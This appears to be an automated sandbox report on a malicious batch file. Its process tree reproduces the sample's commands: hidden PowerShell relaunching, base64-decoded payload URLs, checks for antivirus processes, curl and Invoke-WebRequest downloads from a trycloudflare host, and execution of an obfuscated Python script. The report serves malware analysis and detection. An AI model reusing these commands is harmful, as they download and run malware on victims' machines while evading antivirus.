Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    26/04/2026, 02:12

General

  • Target
    das.bat
  • Size 7KB
  • Sample260426-cm7gnact51
  • SHA256 0729f408d5386d401f611358b5b7080afc070d352ad0fbbc45df1e901fb92a57
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • Delays execution with timeout.exe 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3304
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\das.bat"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4056
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\das.bat\" hidden' -WindowStyle Hidden"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2800
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\das.bat" hidden
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3432
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9vYWtsYW5kLWZvbGRlci1udW1lcmljYWwtYmFsbC50cnljbG91ZGZsYXJlLmNvbQ=='))"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1828
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9vYWtsYW5kLWZvbGRlci1udW1lcmljYWwtYmFsbC50cnljbG91ZGZsYXJlLmNvbQ=='))"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2960
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('VXBUb0RhdGUudHh0'))"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3472
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('VXBUb0RhdGUudHh0'))"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1108
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QVBSV0VMMTMxMy5kb2g='))"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4396
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QVBSV0VMMTMxMy5kb2g='))"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3436
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QVBSV0VMMTMxM1NCLmZkbg=='))"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3576
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QVBSV0VMMTMxM1NCLmZkbg=='))"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4228
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cHl0aG9uMzEzLnNkbQ=='))"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3632
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cHl0aG9uMzEzLnNkbQ=='))"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4596
            • C:\Windows\system32\tasklist.exe
              tasklist /FI "IMAGENAME eq AvastUI.exe"
              5⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:396
            • C:\Windows\system32\find.exe
              find /i "AvastUI.exe"
              5⤵
                PID:4108
              • C:\Windows\system32\tasklist.exe
                tasklist /FI "IMAGENAME eq AvastSvc.exe"
                5⤵
                • Enumerates processes with tasklist
                • Suspicious use of AdjustPrivilegeToken
                PID:1836
              • C:\Windows\system32\find.exe
                find /i "AvastSvc.exe"
                5⤵
                  PID:2712
                • C:\Windows\system32\tasklist.exe
                  tasklist /FI "IMAGENAME eq avgui.exe"
                  5⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2260
                • C:\Windows\system32\find.exe
                  find /i "avgui.exe"
                  5⤵
                    PID:312
                  • C:\Windows\system32\tasklist.exe
                    tasklist /FI "IMAGENAME eq AVGSvc.exe"
                    5⤵
                    • Enumerates processes with tasklist
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2580
                  • C:\Windows\system32\find.exe
                    find /i "AVGSvc.exe"
                    5⤵
                      PID:752
                    • C:\Windows\system32\where.exe
                      where curl
                      5⤵
                        PID:4000
                      • C:\Windows\system32\curl.exe
                        curl -f -L -s -o "C:\Users\Admin\Contacts\Exodus\3D8V1Y5.zip" "https://oakland-folder-numerical-ball.trycloudflare.com/APRWEL1313.doh"
                        5⤵
                          PID:3444
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -C "IWR -Uri 'https://oakland-folder-numerical-ball.trycloudflare.com/APRWEL1313.doh' -OutFile 'C:\Users\Admin\Contacts\Exodus\3D8V1Y5.zip'"
                          5⤵
                          • Badlisted process makes network request
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1784
                        • C:\Windows\system32\curl.exe
                          curl -f -L -s -o "C:\Users\Admin\Contacts\Exodus\2D8V1Y5.zip" "https://oakland-folder-numerical-ball.trycloudflare.com/APRWEL1313SB.fdn"
                          5⤵
                            PID:4452
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -C "IWR -Uri 'https://oakland-folder-numerical-ball.trycloudflare.com/APRWEL1313SB.fdn' -OutFile 'C:\Users\Admin\Contacts\Exodus\2D8V1Y5.zip'"
                            5⤵
                            • Badlisted process makes network request
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2456
                          • C:\Windows\system32\curl.exe
                            curl -f -L -s -o "C:\Users\Admin\Contacts\Exodus\PDP8V1Y5.zip" "https://oakland-folder-numerical-ball.trycloudflare.com/python313.sdm"
                            5⤵
                              PID:4956
                            • C:\Windows\system32\curl.exe
                              curl -f -L -s -o "C:\Users\Admin\Contacts\GS31NRB.ssd" "https://oakland-folder-numerical-ball.trycloudflare.com/UpToDate.txt"
                              5⤵
                                PID:3680
                              • C:\Windows\system32\where.exe
                                where tar
                                5⤵
                                  PID:3560
                                • C:\Windows\system32\tar.exe
                                  tar -xf "C:\Users\Admin\Contacts\Exodus\3D8V1Y5.zip" -C "C:\Users\Admin\Contacts\AdobeCollabSync\Callup"
                                  5⤵
                                    PID:4180
                                  • C:\Windows\system32\where.exe
                                    where tar
                                    5⤵
                                      PID:1036
                                    • C:\Windows\system32\tar.exe
                                      tar -xf "C:\Users\Admin\Contacts\Exodus\2D8V1Y5.zip" -C "C:\Users\Admin\Contacts\AdobeCollabSync\ShareX"
                                      5⤵
                                        PID:3984
                                      • C:\Windows\system32\timeout.exe
                                        timeout /t 10 /nobreak
                                        5⤵
                                        • Delays execution with timeout.exe
                                        PID:812
                                      • C:\Windows\system32\where.exe
                                        where tar
                                        5⤵
                                          PID:2360
                                        • C:\Windows\system32\tar.exe
                                          tar -xf "C:\Users\Admin\Contacts\Exodus\PDP8V1Y5.zip" -C "C:\Users\Admin\Contacts\AdobeCollabSync"
                                          5⤵
                                            PID:4140
                                          • C:\Windows\system32\timeout.exe
                                            timeout /t 5 /nobreak
                                            5⤵
                                            • Delays execution with timeout.exe
                                            PID:3020
                                          • C:\Windows\system32\timeout.exe
                                            timeout /t 5 /nobreak
                                            5⤵
                                            • Delays execution with timeout.exe
                                            PID:4940
                                          • C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe
                                            "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe" "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\APw1ntp.py"
                                            5⤵
                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                            • Executes dropped EXE
                                            • Loads dropped DLL
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                            • Suspicious use of WriteProcessMemory
                                            PID:2020
                                          • C:\Windows\system32\timeout.exe
                                            timeout /t 5 /nobreak
                                            5⤵
                                            • Delays execution with timeout.exe
                                            PID:452
                                    • C:\Windows\System32\notepad.exe
                                      C:\Windows\System32\notepad.exe
                                      2⤵
                                        PID:2200

                                    Network

                                          MITRE ATT&CK Enterprise v16

                                          Replay Monitor

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                                          Downloads

                                          powershell.exe.log

                                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                          • Size 2KB
                                          • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
                                          • MD5 SHA1 SHA512 TLSH

                                          StartupProfileData-NonInteractive

                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                          • Size 64B
                                          • SHA256 1dd6960bc898ac34c08cc17d5f85cda872d8f8baeed24ca7d20fc550a9a1c8cb
                                          • MD5 SHA1 SHA512

                                          StartupProfileData-NonInteractive

                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                          • Size 64B
                                          • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
                                          • MD5 SHA1 SHA512

                                          StartupProfileData-NonInteractive

                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                          • Size 1KB
                                          • SHA256 a9d2e6d35c5e9b94326042c6f2fe7ef381f25a0c02b8a559fc1ee888ccffb18e
                                          • MD5 SHA1 SHA512 TLSH

                                          __PSScriptPolicyTest_tqp1ef0v.zh3.ps1

                                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tqp1ef0v.zh3.ps1
                                          • Size 60B
                                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                          • MD5 SHA1 SHA512 TLSH

                                          APw1ntp.py

                                          • Path C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\APw1ntp.py
                                          • Size 3.8MB
                                          • SHA256 dff1a3708e2a90d824e9c07d9bebe21975bbe7d90d50c27ee7b9cb05e68b6c76
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          __init__.py

                                          • Path C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\pyarmor_runtime_007106\__init__.py
                                          • Size 101B
                                          • SHA256 60c76ed27734847054772b12fdaaea9c5c75a922870e00a16a371899172c0f31
                                          • MD5 SHA1 SHA512 TLSH

                                          python313._pth

                                          • Path C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python313._pth
                                          • Size 80B
                                          • SHA256 35ddf94682ff9aa713a8d63557242ad00f3f28fdd39337f02c3bda4c0f791577
                                          • MD5 SHA1 SHA512 TLSH

                                          python313.zip

                                          • Path C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python313.zip
                                          • Size 3.6MB
                                          • SHA256 40097d88d5b7b4871b6814082931ad9b6552596d73a816c52605e50a5d99684e
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          _ctypes.pyd

                                          • Path C:\Users\Admin\Contacts\AdobeCollabSync\Callup\python313\_ctypes.pyd
                                          • Size 131KB
                                          • SHA256 a30358578d01ef4607c368c88152137588a7a97c5efaab72694ec240b88a9017
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          libffi-8.dll

                                          • Path C:\Users\Admin\Contacts\AdobeCollabSync\Callup\python313\libffi-8.dll
                                          • Size 38KB
                                          • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          pyarmor_runtime.pyd

                                          • Path C:\Users\Admin\Contacts\AdobeCollabSync\Callup\python313\pyarmor_runtime_007106\pyarmor_runtime.pyd
                                          • Size 625KB
                                          • SHA256 399dd791986562fdc4a79a23970d84837cdee5c2207d561d277d20fbcb8cdaad
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          python.exe

                                          • Path C:\Users\Admin\Contacts\AdobeCollabSync\Callup\python313\python.exe
                                          • Size 103KB
                                          • SHA256 31ee77e5be63e2416ea25841ddef77f490fd3d6d875ca9796f81c3817c508340
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          python3.dll

                                          • Path C:\Users\Admin\Contacts\AdobeCollabSync\Callup\python313\python3.dll
                                          • Size 70KB
                                          • SHA256 a8357e1f24cf034bdf2d6e96e5ca98448b55846d5a0f581e17157d1dcb646854
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          python313.dll

                                          • Path C:\Users\Admin\Contacts\AdobeCollabSync\Callup\python313\python313.dll
                                          • Size 5.8MB
                                          • SHA256 73c8eeff8f03a9edcd3fe3ba004826ef55a11aeb5a65ce23144e56a4deb948d2
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          vcruntime140.dll

                                          • Path C:\Users\Admin\Contacts\AdobeCollabSync\Callup\python313\vcruntime140.dll
                                          • Size 117KB
                                          • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          2D8V1Y5.zip

                                          • Path C:\Users\Admin\Contacts\Exodus\2D8V1Y5.zip
                                          • Size 22.9MB
                                          • SHA256 01b742f01c8c605ba7ccf318bbe643be9ebfe3410e2d7ac19f7387f6bf1c06fb
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          3D8V1Y5.zip

                                          • Path C:\Users\Admin\Contacts\Exodus\3D8V1Y5.zip
                                          • Size 21.6MB
                                          • SHA256 091ffba2a63994d8beaed2a009f256db5ec7fc7d4a5cf719eebda423e4b65fed
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          PDP8V1Y5.zip

                                          • Path C:\Users\Admin\Contacts\Exodus\PDP8V1Y5.zip
                                          • Size 53KB
                                          • SHA256 c8b0afe2d21ac830b9ed2fc332114fc65ab244185c3dfbb7eba122058405d48a
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          GS31NRB.ssd

                                          • Path C:\Users\Admin\Contacts\GS31NRB.ssd
                                          • Size 3KB
                                          • SHA256 33ee3fbc7aa3ccba397fe7bf33d66ce25829eccc492c46c9deb8e7fe9bf7d2e1
                                          • MD5 SHA1 SHA512 TLSH

                                          memory/1108-36-0x0000023624210000-0x000002362421C000-memory.dmp

                                          memory/1784-80-0x000001AED6550000-0x000001AED655C000-memory.dmp

                                          memory/1784-75-0x000001AED6550000-0x000001AED655C000-memory.dmp

                                          memory/2456-93-0x000001ABD0C90000-0x000001ABD0C9C000-memory.dmp

                                          memory/2456-89-0x000001ABD0C90000-0x000001ABD0C9C000-memory.dmp

                                          memory/2800-0-0x0000023219F10000-0x0000023219F20000-memory.dmp

                                          memory/2800-1-0x0000023219F10000-0x0000023219F20000-memory.dmp

                                          memory/2800-12-0x00000232016B0000-0x00000232016BC000-memory.dmp

                                          memory/2800-8-0x000002327FF90000-0x000002327FFB2000-memory.dmp

                                          memory/2800-13-0x0000023219F20000-0x000002321A13C000-memory.dmp

                                          memory/2960-26-0x000001F68D920000-0x000001F68D92C000-memory.dmp

                                          memory/2960-15-0x000001F6A5EF0000-0x000001F6A5F00000-memory.dmp

                                          memory/2960-16-0x000001F6A5EF0000-0x000001F6A5F00000-memory.dmp

                                          memory/3436-46-0x000001EA0F780000-0x000001EA0F78C000-memory.dmp

                                          memory/4228-56-0x000001BB68D00000-0x000001BB68D0C000-memory.dmp

                                          memory/4596-66-0x0000022411C00000-0x0000022411C0C000-memory.dmp